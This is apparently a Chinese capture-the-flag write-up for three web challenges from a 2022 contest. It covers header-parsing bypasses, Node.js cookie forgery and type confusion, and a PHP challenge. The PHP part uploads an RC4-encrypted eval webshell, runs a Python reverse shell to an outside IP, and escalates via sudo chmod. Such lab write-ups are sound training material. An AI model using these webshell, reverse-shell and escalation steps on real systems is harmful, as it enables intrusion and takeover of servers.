2022西湖论剑Web

参考:http://www.sdpcsec.cn/?p=259
https://www.ctfiot.com/95359.html

扭转乾坤

复现环境:1.14.95.102

  1. 上传一个普普通通平平无奇的 txt 文件,得到报错

    抱歉,Apache 可能会拒绝标头等于内容类型:multipart/form-data
  2. 解题办法
    利用中间件与 RCF 协议的差异进行绕过
    详情:https://www.anquanke.com/post/id/241265
    (1)大小写
    (2)空格
    (3)双引号

Node Magical Login

复现地址:http://80.endpoint-980e7909452440499d7db81e338dd5df.ins.cloud.dasctf.com:81/

  1. 下载文件,进行代码审计
  2. main.js
    里面就是一些路由(和 flask 框架有点像),规定访问的参数和请求方式,调用对应函数或者返回对应界面,没啥重点内容。
  3. controller.js
    逐个审计一下每个函数
    (1) LoginController
    如果 username 不是 admin 和 pasword 不等于随机生成的一串随机数就登陆失败
    显然,想要登录成功不现实。

    (2)Flag1Controller
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
const SECRET_COOKIE = process.env.SECRET_COOKIE || "this_is_testing_cookie"

function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}

在第二个 if 条件中,我们 可以伪造 cookie 的 user 值为 admin

1
2
3
app.get("/flag1",(req,res) => {
controller.Flag1Controller(req,res)
})

这个函数是以 get 形式请求 /flags,就调用 Flag1Controller 函数
于是乎,可以这样

(3)CheckController
同样的思维方式去跟着代码要求做得到 flag2

1
2
3
app.post("/getflag2",(req,res)=> {
controller.CheckController(req,res)
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}

得到 flag2 有两种方法:
1)要么让 checkcode 值的长度为 16 并且值为 aGr5AtSp55dRacer
2)要么长度为 16 后直接异常报错,顺序执行获取 flag2
思来想去 toLowerCase () 总是会将字符转换为小写,并且也没有什么资料爆出它有啥漏洞。所以我主要想从 2)攻破。

  • 长度为 16 并且执行 toLowerCase () 报错
    可以采取 json 数组解析错误绕过
1
2
3
{
"checkcode":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16]
}

也或者是这个形式造成解析错误,异常

1
checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1


unusual php

复现环境:http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/

  1. 代码分析
1
2
3
4
5
6
7
8
<?php
if($_GET["a"]=="upload"){
move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
phpinfo();
}

(1)GET 上传 a 参数值为 upload,可以移动上传文件
(2)GET 上传 a 参数值为 read,file 参数值为可读权限的文件,就会将文件内容回显到页面中
(3)GET 上传 a 参数值为 version,查看 php 信息
2. 分析
(1)正常显示 index.php 文件内容

(2)利用参数 a 读取文件的方法读取 index.php 文件发现内容乱码。

3. 乱码分析
怀疑是对原文做了加密处理,应该是改了引擎。我们可以在 php.ini 文件中查找 extension 配置,看看加载了什么文件做了处理。
(1)获取 php.ini 文件位置
显然可以查看 phpinfo () 信息
利用参数 a
得到 php.ini 文件的位置 /usr/local/lib/php.ini

(2)查看 php.ini
;是注释,发现 zend_test 文件没被注释,注意看下面的一段话,告诉我们这些文件要么是 xxx.so,要么是 php_xxx.dll

(3)尝试在 extension 路径下读取 zend_test.so 文件成功
因为.so 文件结尾,可以尝试逆向(本人没尝试,直接查阅 wp)

逆向得到

(4)得到加密方式,尝试一句话木马上传文件,用蚁剑获取网站文件
加密方式:rc4
密钥:abcsdfadfjiweur
使用 python 写一句话木马保存为 shell.php 文件,加密上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
from Crypto.Cipher import ARC4


def rc4_encrypt(data, key):
key = bytes(key, encoding='utf-8')
enc = ARC4.new(key)
res = enc.encrypt(data.encode('utf-8'))
return res

if __name__ == '__main__':
files = {'file': ('shell.php', rc4_encrypt("<?php eval($_POST[cmd]);?>", "abcsdfadfjiweur"), 'text/plain')}
res = requests.post(url='http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81?a=upload',
files=files)
print(res.text)
  1. 使用蚁剑连接
    很可惜的是,翻烂了也没看到 flag
  2. 反弹 shell
    (1)搭建阿里云服务器
    (2)安装 NC
    详情:https://xdym11235.com/archives/77.html
    yum install nmap-ncat
    (3)启动 apache 服务
    具体详看阿里云的新手指引
    (4)在服务器安全组增加开启 2333 端口
    (5)开启监听
    nc -lvp 2333
    (6)利用 hackbar 插件反弹 shell(bur 也可,能发包就行)
1
cmd= system("python3 -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('47.115.201.125',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\"");

写你的服务器的公网 IP,和开启对应的端口


5. 提权
原来比赛环境 flag 没有读的权限,需要提权操作,复现靶场可以,甚至我的蚁剑也可以查看,可能被人改了权限。
(1)sudo -l
提示 chmod
(2)chmod 的 sudo 提权方法
sudo chmod 777 /flag
cat /flag

访问量 访客